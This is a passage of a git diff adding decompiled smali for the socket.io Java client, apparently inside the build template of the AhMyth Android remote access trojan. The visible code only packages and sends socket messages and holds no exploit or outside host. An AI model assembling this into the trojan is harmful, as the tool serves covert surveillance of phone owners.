+ iput-object p3, p0, Lio/socket/client/Socket$6;->val$args:[Ljava/lang/Object;
+
+ iput-object p4, p0, Lio/socket/client/Socket$6;->val$ack:Lio/socket/client/Ack;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 10
+
+ .prologue
+ .line 238
+ new-instance v1, Lio/socket/client/Socket$6$1;
+
+ invoke-direct {v1, p0}, Lio/socket/client/Socket$6$1;->(Lio/socket/client/Socket$6;)V
+
+ .line 245
+ .local v1, "_args":Ljava/util/List;, "Ljava/util/List;"
+ new-instance v2, Lorg/json/JSONArray;
+
+ invoke-direct {v2}, Lorg/json/JSONArray;->()V
+
+ .line 246
+ .local v2, "jsonArgs":Lorg/json/JSONArray;
+ invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
+
+ move-result-object v5
+
+ :goto_0
+ invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
+
+ move-result v6
+
+ if-eqz v6, :cond_0
+
+ invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
+
+ move-result-object v0
+
+ .line 247
+ .local v0, "_arg":Ljava/lang/Object;
+ invoke-virtual {v2, v0}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ goto :goto_0
+
+ .line 249
+ .end local v0 # "_arg":Ljava/lang/Object;
+ :cond_0
+ invoke-static {v2}, Lio/socket/hasbinary/HasBinary;->hasBinary(Ljava/lang/Object;)Z
+
+ move-result v5
+
+ if-eqz v5, :cond_1
+
+ const/4 v4, 0x5
+
+ .line 250
+ .local v4, "parserType":I
+ :goto_1
+ new-instance v3, Lio/socket/parser/Packet;
+
+ invoke-direct {v3, v4, v2}, Lio/socket/parser/Packet;->(ILjava/lang/Object;)V
+
+ .line 252
+ .local v3, "packet":Lio/socket/parser/Packet;, "Lio/socket/parser/Packet;"
+ # getter for: Lio/socket/client/Socket;->logger:Ljava/util/logging/Logger;
+ invoke-static {}, Lio/socket/client/Socket;->access$800()Ljava/util/logging/Logger;
+
+ move-result-object v5
+
+ const-string v6, "emitting packet with ack id %d"
+
+ const/4 v7, 0x1
+
+ new-array v7, v7, [Ljava/lang/Object;
+
+ const/4 v8, 0x0
+
+ iget-object v9, p0, Lio/socket/client/Socket$6;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->ids:I
+ invoke-static {v9}, Lio/socket/client/Socket;->access$700(Lio/socket/client/Socket;)I
+
+ move-result v9
+
+ invoke-static {v9}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v9
+
+ aput-object v9, v7, v8
+
+ invoke-static {v6, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v6
+
+ invoke-virtual {v5, v6}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 253
+ iget-object v5, p0, Lio/socket/client/Socket$6;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->acks:Ljava/util/Map;
+ invoke-static {v5}, Lio/socket/client/Socket;->access$900(Lio/socket/client/Socket;)Ljava/util/Map;
+
+ move-result-object v5
+
+ iget-object v6, p0, Lio/socket/client/Socket$6;->this$0:Lio/socket/client/Socket;
+
+ # getter for: Lio/socket/client/Socket;->ids:I
+ invoke-static {v6}, Lio/socket/client/Socket;->access$700(Lio/socket/client/Socket;)I
+
+ move-result v6
+
+ invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v6
+
+ iget-object v7, p0, Lio/socket/client/Socket$6;->val$ack:Lio/socket/client/Ack;
+
+ invoke-interface {v5, v6, v7}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 254
+ iget-object v5, p0, Lio/socket/client/Socket$6;->this$0:Lio/socket/client/Socket;
+
+ # operator++ for: Lio/socket/client/Socket;->ids:I
+ invoke-static {v5}, Lio/socket/client/Socket;->access$708(Lio/socket/client/Socket;)I
+
+ move-result v5
+
+ iput v5, v3, Lio/socket/parser/Packet;->id:I
+
+ .line 256
+ iget-object v5, p0, Lio/socket/client/Socket$6;->this$0:Lio/socket/client/Socket;
+
+ # invokes: Lio/socket/client/Socket;->packet(Lio/socket/parser/Packet;)V
+ invoke-static {v5, v3}, Lio/socket/client/Socket;->access$1100(Lio/socket/client/Socket;Lio/socket/parser/Packet;)V
+
+ .line 257
+ return-void
+
+ .line 249
+ .end local v3 # "packet":Lio/socket/parser/Packet;, "Lio/socket/parser/Packet;"
+ .end local v4 # "parserType":I
+ :cond_1
+ const/4 v4, 0x2
+
+ goto :goto_1
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$7$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$7$1.smali
new file mode 100644
index 00000000..4d3ae20f
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$7$1.smali
@@ -0,0 +1,174 @@
+.class Lio/socket/client/Socket$7$1;
+.super Ljava/lang/Object;
+.source "Socket.java"
+
+# interfaces
+.implements Ljava/lang/Runnable;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/Socket$7;->call([Ljava/lang/Object;)V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$1:Lio/socket/client/Socket$7;
+
+.field final synthetic val$args:[Ljava/lang/Object;
+
+
+# direct methods
+.method constructor (Lio/socket/client/Socket$7;[Ljava/lang/Object;)V
+ .locals 0
+ .param p1, "this$1" # Lio/socket/client/Socket$7;
+
+ .prologue
+ .line 352
+ iput-object p1, p0, Lio/socket/client/Socket$7$1;->this$1:Lio/socket/client/Socket$7;
+
+ iput-object p2, p0, Lio/socket/client/Socket$7$1;->val$args:[Ljava/lang/Object;
+
+ invoke-direct {p0}, Ljava/lang/Object;->